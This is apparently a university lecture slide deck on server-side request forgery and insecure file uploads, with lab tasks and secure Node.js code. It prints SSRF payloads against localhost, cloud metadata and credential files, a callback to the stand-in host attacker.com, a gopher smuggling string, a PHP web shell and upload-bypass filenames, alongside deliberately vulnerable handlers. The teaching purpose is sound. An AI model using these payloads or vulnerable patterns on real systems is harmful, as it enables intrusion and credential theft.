WEB-SSRF-01 & WEB-UPLOAD-01
SSRF & File Upload Security
CMU540: Cyber Security - Session 9
Birmingham Newman University
Lecturer: James Williams
Understanding server-side request forgery and secure file handling
3-hour session • 30 slides • 2 interactive tasks
Session Timeline:
- 10 min: Registration & waiting
- 20 min: Opening slides
- 45 min: Task 1
- 15 min: Break/Catch up
- 20 min: Secondary slides
- 45 min: Task 2
- Remaining: Self-study
Learning Objectives
- Understand OWASP A10: SSRF and File Upload Security
- Identify SSRF attack vectors and prevention methods
- Learn secure file upload practices
- Practice vulnerability discovery using OS³ Studio
- Implement secure SSRF protection and file handling
- Explore career opportunities in web security
OWASP A10: SSRF & File Upload Security
SSRF: Server-Side Request Forgery forces the server to make requests to unintended locations
File Upload: Insecure file upload can lead to remote code execution and data breaches
Key Areas:
- SSRF attack techniques
- File upload vulnerabilities
- Input validation and sanitization
- Secure file handling
Real-World Impact
Notable Breaches:
- Capital One (2019): SSRF led to 100M records exposed
- GitHub (2019): SSRF vulnerability in webhooks
- Facebook (2013): File upload vulnerability exposed user data
Impact: Data breaches, server compromise, financial loss
SSRF Attack Techniques
1. Basic SSRF
<!-- VULNERABLE: SSRF -->
app.get('/fetch', (req, res) => {
const url = req.query.url;
fetch(url).then(response => {
res.json(response);
});
});
<!-- Attack -->
GET /fetch?url=http://localhost:22
GET /fetch?url=file:///etc/passwd
GET /fetch?url=http://169.254.169.254/latest/meta-data/
2. Blind SSRF
<!-- VULNERABLE: Blind SSRF -->
app.post('/webhook', (req, res) => {
const url = req.body.url;
fetch(url); // No response returned
res.json({ status: 'sent' });
});
<!-- Attack with external monitoring -->
POST /webhook
{"url": "http://attacker.com/ssrf"}
SSRF Attack Vectors
1. Internal Network Scanning
<!-- Internal network scanning -->
http://localhost:22 # SSH
http://localhost:3306 # MySQL
http://localhost:5432 # PostgreSQL
http://localhost:6379 # Redis
http://localhost:9200 # Elasticsearch
<!-- Cloud metadata endpoints -->
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
2. Protocol Smuggling
<!-- Protocol smuggling -->
gopher://localhost:25/_HELO%20attacker.com%0AMAIL%20FROM:%20test@attacker.com%0ARCPT%20TO:%20victim@target.com%0ADATA%0ASubject:%20SSRF%20Test%0A%0AThis%20is%20a%20test%0A.%0AQUIT%0A
<!-- File access -->
file:///etc/passwd
file:///etc/shadow
file:///proc/self/environ
File Upload Vulnerabilities
1. Unrestricted File Upload
<!-- VULNERABLE: Unrestricted upload -->
app.post('/upload', upload.single('file'), (req, res) => {
const file = req.file;
res.json({
filename: file.filename,
path: file.path
});
});
<!-- Malicious file -->
<?php system($_GET['cmd']); ?> // shell.php
2. File Type Bypass
<!-- VULNERABLE: MIME type check only -->
if (file.mimetype === 'image/jpeg') {
allowUpload(file);
}
<!-- Bypass -->
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?> // shell.php
File Upload Attack Techniques
1. Double Extension
<!-- Double extension attack -->
shell.php.jpg
shell.php.png
shell.php.gif
<!-- Server processes as PHP -->
<?php system($_GET['cmd']); ?>
2. Null Byte Injection
<!-- Null byte injection -->
shell.php%00.jpg
shell.php\x00.jpg
<!-- Server truncates at null byte -->
filename: shell.php
3. Polyglot Files
<!-- Polyglot file -->
GIF89a<?php system($_GET['cmd']); ?>
<!-- Valid GIF header + PHP code -->
Career Opportunities in Web Security
Web Security Roles:
- Web Application Security Engineer: £45,000 - £90,000
- Penetration Tester: £35,000 - £70,000
- Security Consultant: £50,000 - £100,000
- Bug Bounty Hunter: £30,000 - £150,000+
- Security Researcher: £40,000 - £80,000
Skills Needed: Web security, Penetration testing, Vulnerability assessment
OS³ Newman Cyber Security Lab
WEB-SSRF-01 & WEB-UPLOAD-01 Lab Environment
Our OS³ Studio provides hands-on experience with:
- Applications vulnerable to SSRF attacks
- Insecure file upload implementations
- Secure implementation challenges
- File handling best practices
Access: Available through university portal
Case Study: Capital One SSRF
2019 Capital One SSRF Breach
- Impact: 100 million records exposed
- Cause: SSRF vulnerability in AWS metadata service
- Method: Attacker used SSRF to obtain AWS credentials
- Cost: $190 million in settlements
Lesson: SSRF can lead to cloud infrastructure compromise
Summary: Common SSRF & File Upload Issues
Key Vulnerabilities to Look For:
- Unvalidated URL parameters
- Missing input validation
- Unrestricted file uploads
- Insufficient file type checking
- Missing file content validation
- Insecure file storage
- Missing access controls
Task 1: SSRF & File Upload Vulnerability Discovery
Objective:
Use OS³ Studio to identify SSRF vulnerabilities and insecure file upload implementations.
Instructions:
- Access the OS³ Studio vulnerable application
- Test for SSRF vulnerabilities in URL parameters
- Attempt internal network scanning
- Test for cloud metadata access
- Look for unrestricted file uploads
- Test file type bypass techniques
- Document all findings with proof of concept
- Prepare a vulnerability assessment report
Time: 45 minutes
Focus on systematic testing and thorough documentation
Break Time
15 Minutes
Take a break, ask questions, or catch up on the previous task.
Next: Secure implementation and Task 2
Secure SSRF Protection
1. URL Validation
<!-- SECURE: URL validation -->
function validateUrl(url) {
try {
const parsedUrl = new URL(url);
// Block private IPs
if (isPrivateIP(parsedUrl.hostname)) {
return false;
}
// Allow only HTTP/HTTPS
if (!['http:', 'https:'].includes(parsedUrl.protocol)) {
return false;
}
return true;
} catch {
return false;
}
}
function isPrivateIP(hostname) {
const privateRanges = [
/^10\./, /^172\.(1[6-9]|2[0-9]|3[0-1])\./, /^192\.168\./,
/^127\./, /^169\.254\./, /^::1$/, /^fc00:/, /^fe80:/
];
return privateRanges.some(range => range.test(hostname));
}
2. Allowlist Approach
<!-- SECURE: Allowlist approach -->
const allowedDomains = [
'api.example.com',
'trusted-service.com'
];
function isAllowedDomain(hostname) {
return allowedDomains.includes(hostname);
}
app.get('/fetch', (req, res) => {
const url = req.query.url;
if (!validateUrl(url) || !isAllowedDomain(new URL(url).hostname)) {
return res.status(400).json({ error: 'Invalid URL' });
}
fetch(url).then(response => res.json(response));
});
Secure File Upload Implementation
1. File Type Validation
<!-- SECURE: File type validation -->
const multer = require('multer');
const path = require('path');
const storage = multer.diskStorage({
destination: 'uploads/',
filename: (req, file, cb) => {
const ext = path.extname(file.originalname);
const name = crypto.randomBytes(16).toString('hex');
cb(null, name + ext);
}
});
const upload = multer({
storage: storage,
fileFilter: (req, file, cb) => {
const allowedTypes = ['.jpg', '.jpeg', '.png', '.gif'];
const ext = path.extname(file.originalname).toLowerCase();
if (allowedTypes.includes(ext)) {
cb(null, true);
} else {
cb(new Error('Invalid file type'), false);
}
},
limits: { fileSize: 5 * 1024 * 1024 } // 5MB
});
2. File Content Validation
<!-- SECURE: File content validation -->
const fileType = require('file-type');
async function validateFileContent(filePath) {
const type = await fileType.fromFile(filePath);
const allowedMimes = [
'image/jpeg', 'image/png', 'image/gif'
];
return allowedMimes.includes(type.mime);
}
app.post('/upload', upload.single('file'), async (req, res) => {
if (!await validateFileContent(req.file.path)) {
fs.unlinkSync(req.file.path);
return res.status(400).json({ error: 'Invalid file content' });
}
res.json({ success: true, filename: req.file.filename });
});
File Storage Security
1. Secure File Storage
<!-- SECURE: File storage outside web root -->
const path = require('path');
const storage = multer.diskStorage({
destination: path.join(__dirname, '../uploads/'), // Outside web root
filename: (req, file, cb) => {
const ext = path.extname(file.originalname);
const name = crypto.randomBytes(32).toString('hex');
cb(null, name + ext);
}
});
// Serve files through secure endpoint
app.get('/files/:filename', (req, res) => {
const filename = req.params.filename;
if (!isValidFilename(filename)) {
return res.status(400).json({ error: 'Invalid filename' });
}
res.sendFile(path.join(__dirname, '../uploads/', filename));
});
2. File Access Controls
<!-- SECURE: File access controls -->
app.get('/files/:filename', authenticateUser, (req, res) => {
const filename = req.params.filename;
const filePath = path.join(__dirname, '../uploads/', filename);
// Check if user has access to this file
if (!hasFileAccess(req.user.id, filename)) {
return res.status(403).json({ error: 'Access denied' });
}
// Log file access
logFileAccess(req.user.id, filename, req.ip);
res.sendFile(filePath);
});
Input Sanitization
1. Filename Sanitization
<!-- SECURE: Filename sanitization -->
function sanitizeFilename(filename) {
// Remove path traversal attempts
filename = filename.replace(/[\/\\]/g, '');
// Remove null bytes
filename = filename.replace(/\0/g, '');
// Remove special characters
filename = filename.replace(/[^a-zA-Z0-9.-]/g, '');
// Limit length
filename = filename.substring(0, 255);
return filename;
}
const upload = multer({
storage: multer.diskStorage({
filename: (req, file, cb) => {
const sanitized = sanitizeFilename(file.originalname);
const ext = path.extname(sanitized);
const name = crypto.randomBytes(16).toString('hex');
cb(null, name + ext);
}
})
});
2. URL Sanitization
<!-- SECURE: URL sanitization -->
function sanitizeUrl(url) {
// Remove dangerous protocols
url = url.replace(/^(file|gopher|ftp|ldap):/i, '');
// Remove null bytes
url = url.replace(/\0/g, '');
// Remove control characters
url = url.replace(/[\x00-\x1F\x7F]/g, '');
return url;
}
app.get('/fetch', (req, res) => {
let url = req.query.url;
url = sanitizeUrl(url);
if (!validateUrl(url)) {
return res.status(400).json({ error: 'Invalid URL' });
}
fetch(url).then(response => res.json(response));
});
Monitoring and Logging
1. Security Event Logging
<!-- SECURE: Security logging -->
function logSecurityEvent(event, details) {
const logEntry = {
timestamp: new Date().toISOString(),
event: event,
userId: details.userId,
ip: details.ip,
userAgent: details.userAgent,
details: details
};
securityLogger.warn(logEntry);
}
// Log SSRF attempts
app.get('/fetch', (req, res) => {
const url = req.query.url;
if (!validateUrl(url)) {
logSecurityEvent('ssrf_attempt', {
url: url,
ip: req.ip,
userAgent: req.headers['user-agent']
});
return res.status(400).json({ error: 'Invalid URL' });
}
});
2. File Upload Monitoring
<!-- SECURE: File upload monitoring -->
app.post('/upload', upload.single('file'), (req, res) => {
logSecurityEvent('file_upload', {
filename: req.file.originalname,
size: req.file.size,
mimetype: req.file.mimetype,
ip: req.ip,
userId: req.user.id
});
res.json({ success: true });
});
Career Development in Web Security
Next Steps:
- Advanced Certifications: OSWE, GWAPT, OSCP
- Specialized Training: Web application security, Penetration testing
- Hands-on Practice: Bug bounties, CTF competitions
- Industry Networking: Security conferences, meetups
- Research: New attack techniques, Defense methods
Resources: OWASP | PortSwigger | PentesterLab
Task 2: Secure SSRF Protection & File Upload Implementation
Objective:
Use OS³ Studio to implement secure SSRF protection and file upload practices.
Instructions:
- Access the OS³ Studio secure implementation environment
- Implement URL validation and allowlisting
- Add file type and content validation
- Configure secure file storage outside web root
- Implement file access controls
- Add input sanitization and monitoring
- Test the secure implementation
- Document the security improvements
Time: 45 minutes
Focus on implementing industry-standard security practices
Further Activity: Code Inspection
Advanced Students - Code Analysis:
For students with additional time, explore the source code to understand:
- How SSRF protection is implemented
- File upload validation mechanisms
- Input sanitization and validation
- File storage and access controls
- Security monitoring and logging
Deliverable: Code review report with security recommendations
Session Summary
Key Takeaways:
- SSRF can lead to internal network compromise
- File upload vulnerabilities can result in RCE
- Input validation and sanitization are critical
- OS³ Studio provides hands-on vulnerability testing
- Secure implementation requires multiple layers of protection
- Career opportunities in web security are growing
Course Completion
Congratulations!
- All CMU540 sessions completed
- Comprehensive understanding of web security
- Hands-on experience with OS³ Studio
- Industry-standard security practices learned
- Career pathways explored
Next Steps: Continue learning, practice with tools, consider certifications